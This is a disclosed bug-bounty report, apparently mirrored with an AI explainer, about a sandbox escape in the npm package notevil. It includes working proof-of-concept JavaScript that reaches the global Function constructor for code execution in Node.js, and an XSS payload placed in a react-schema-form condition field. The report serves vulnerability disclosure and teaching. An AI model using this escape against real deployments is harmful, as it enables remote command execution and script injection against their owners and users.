Skip to content
RCE Disclosed report Advanced

[notevil] - Sandbox Escape Lead to RCE on Node.js and XSS in the Browser

The notevil sandbox could be escaped by abusing the constructor property of a function's prototype to reach the global context, allowing arbitrary JavaScript execution. This led to remote command execution in Node.js and cross-site scripting in the browser when the library was used.

phra Follow

Originally disclosed on HackerOne

  • Triaged in 5 hours
  • Fixed in 5 months
  • Disclosed after 6 months

I would like to report a sandbox escape / code injection vulnerability in notevil.

It allows an attacker to escape the intended sandbox and execute javascript code in the global context, meaning that he/she can achieve arbitrary command execution (RCE) when running in nodejs and cross site scripting (XSS) when running in the browser.

Module

module name: notevail version: 1.3.2 npm page: https://www.npmjs.com/package/notevil

Module Description

Evalulate javascript like the built-in javascript eval() method but safely.

This module uses esprima to parse the javascript AST then walks each node and evaluates the result.

Like built-in eval, the result of the last expression will be returned. Unlike built-in, there is no access to global objects, only the context that is passed in as the second object.

Built in types such as Object and String are still available, but they are wrapped so that any changes to prototypes are contained in the eval instance.

Module Stats

[1] weekly downloads: 3,290

Vulnerability

Vulnerability Description

A bypass to a previous sandbox escape fix (https://github.com/mmckegg/notevil/commit/5974329712f0a527c5e16d3b9067a076e28e45f1) is existing and proven by the attached poc.

Steps To Reproduce:

Node.js

var safeEval = require("notevil")

var code = "" +
    "function fn() {};" +
    "var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" +
    "var properties = Object.values(constructorProperty);" +
    "properties.pop();" +
    "properties.pop();" +
    "properties.pop();" +
    "var Func = properties.map(function (x) {return x.bind(x, 'return this.process.mainModule.constructor._load(`util`).log(`pwned`)')}).pop();" +
    "(Func())()"
console.log(safeEval(code))

check the provided poc:

Browser

If we check some dependent package, such as react-schema-form, we can see that the issue lead to XSS when the affected package is used in the browser.

  1. visit https://networknt.github.io/react-schema-form/
  2. set form
[
  {
    "key": "comments",
    "condition": "function fn() {};var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;var properties = Object.values(constructorProperty);properties.pop();properties.pop();properties.pop();var Func = properties.map(function (x) {return x.bind(x, 'return this.alert(`pwned `)')}).pop();(Func())()",
    "type": "radios",
    "titleMap": [
      {
        "value": "S",
        "name": "Shipping"
      },
      {
        "value": "P",
        "name": "Pickup"
      }
    ]
  }
]
  1. set schema
{
  "type": "object",
  "required": [
    "comments"
  ]
}

Patch

TBD

Supporting Material/References:

not applicable.

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

An attacker can execute arbitrary commands on the system when the package is used with nodejs and execute arbitrary javascript when is used in the browser.

Attachments

react-schema-form.png
react-schema-form.png From the original on HackerOne
notevil.png
notevil.png

The original report as published on HackerOne, by phra. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the sandbox did not properly block access to the constructor property of functions, which can be used to reach the global Function constructor and execute arbitrary code.

Impact

An attacker could execute arbitrary commands on the system when the package is used with Node.js and execute arbitrary JavaScript when used in the browser.

What the attacker needed

The notevil library is used to evaluate untrusted input

How it was found

  1. Create a function and access its prototype's constructor property descriptor.
  2. Extract the constructor values and remove the last three entries.
  3. Bind the remaining functions to a string that returns the process object and loads a module to log a message.
  4. Call the resulting function to execute the payload.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A sandbox is a restricted environment meant to run code safely without letting it touch the rest of the system. The notevil library tried to do this for JavaScript, but a flaw let code break out and run with full privileges. That meant an attacker could run commands on the server or inject scripts into a web page.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by phra

View all

2 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.